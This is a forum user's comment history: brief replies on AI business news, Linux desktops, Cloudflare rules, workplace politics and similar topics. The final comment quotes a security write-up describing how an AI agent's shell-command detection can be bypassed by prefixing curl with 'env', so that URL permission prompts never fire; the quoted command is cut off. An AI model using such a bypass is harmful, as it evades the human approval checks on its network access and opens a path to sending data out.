yellow_lead

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by yellow_lead 5mo ago
For enterprise, there seems to be so much money in doing it, that I don't think people are going to start turning it down just because it's troublesome.
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by yellow_lead 5mo ago
A country is a region.
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by yellow_lead 5mo ago
Did Mythos have access to Apple's source code? > Apple spent five years building it. Probably billions of dollars too. This seems higher than I'd expect.
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by yellow_lead 5mo ago
What was bad about the earnings? Every metric I am seeing is beating expectations. Genuinely curious
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by yellow_lead 6mo ago
I think the credit belongs to Sascha still. Look at this: > The agent surfaced a suspicious issue: the anetd pods in our Google Kubernetes Engine cluster were restarting constantly, around 120 restarts per pod over six days, which is alm
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by yellow_lead 6mo ago
You joined only a month ago? It sounds like you suggested changes too quickly. Egos may be hurt by the new guy saying "you're doing everything wrong." Poltics goes a long way in this. You need to make others happy first and b
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by yellow_lead 6mo ago
I say the same about ground taxis - buses are much more efficient
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by yellow_lead 6mo ago
Is that directly related to the GitHub issue? Or you just mean that they're taking security more seriously? I was searching the article you linked to see if it addresses the GH issue in any way, but it seems to not.
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by yellow_lead 6mo ago
Just a warning, that could get your PayPal account banned. But maybe okay for you.
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by yellow_lead 6mo ago
> The National Security Agency is using Anthropic's most powerful model yet, Mythos Preview, despite top officials at the Department of Defense — which oversees the NSA — insisting the company is a "supply chain risk," two
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by yellow_lead 6mo ago
I can't answer all of those but I personally prefer KDE to Gnome, and Fedora KDE or Kubuntu are the best. I like Fedora KDE.
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by yellow_lead 6mo ago
> I saw a society that actually works for who lives here – not homeless everywhere, not isolation in cars, not blatant stagnation. > I know I know, that’s a socialist platitude or something, society that works. What they say right bef
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by yellow_lead 6mo ago
I would call it Scapegoat Engineering, but yes, it is a phenomenon that I've seen. However, people are not as susceptible to it as you may think. I see it happen more when the group doesn't understand the scapegoat well. For insta
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by yellow_lead 6mo ago
> I would end up copy-pasting interesting words into the dictionary window to pull up the word entry. SLOW! > I would then click on the component characters to open their nested dictionary entries. SLOW! > If I needed to remember t
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by yellow_lead 6mo ago
The files are deleted now, that was fun while it lasted!
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by yellow_lead 6mo ago
And AI written
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by yellow_lead 6mo ago
I suggest you make the URL work without the www! For instance, as you wrote it here
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by yellow_lead 6mo ago
I thought gitbutler was not a great name, but then I saw their CLI command name is "but"
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by yellow_lead 6mo ago
It seems like none of these terms would have saved OP though
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by yellow_lead 7mo ago
No
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by yellow_lead 7mo ago
Have any more information or sources? Would like to learn more
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by yellow_lead 7mo ago
Even in the apps I've worked on, you won't find us loading arbitrary JS from a random GitHub user's account.
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by yellow_lead 7mo ago
It's not even good for Chinese
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by yellow_lead 7mo ago
It's a failing on the part of Cloudflare to have used rules so many times and not realize this important detail. It's not expressed anywhere in the UI, so at some point someone really just said "well the user will figure it o
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by yellow_lead 7mo ago
It's kind of funny that Google's idea of evaluating AGI is outsourcing the work to a Kaggle competition.
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by yellow_lead 7mo ago
I love WFH but I'd also rather we not blow up schools.
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by yellow_lead 7mo ago
So, just a markdown file?
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by yellow_lead 7mo ago
How much of Meta's increased revenue is attributed to AI? I think Meta "turned things around" by bypassing privacy controls [1]. [1] https://9to5mac.com/2025/08/21/meta-allegedly-bypassed-apple.
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by yellow_lead 8mo ago
Yes, so there may be more of these too. But GitHub even declined to fix this.
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by yellow_lead 8mo ago
Skip to here: > However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms: > env curl -s " https:/

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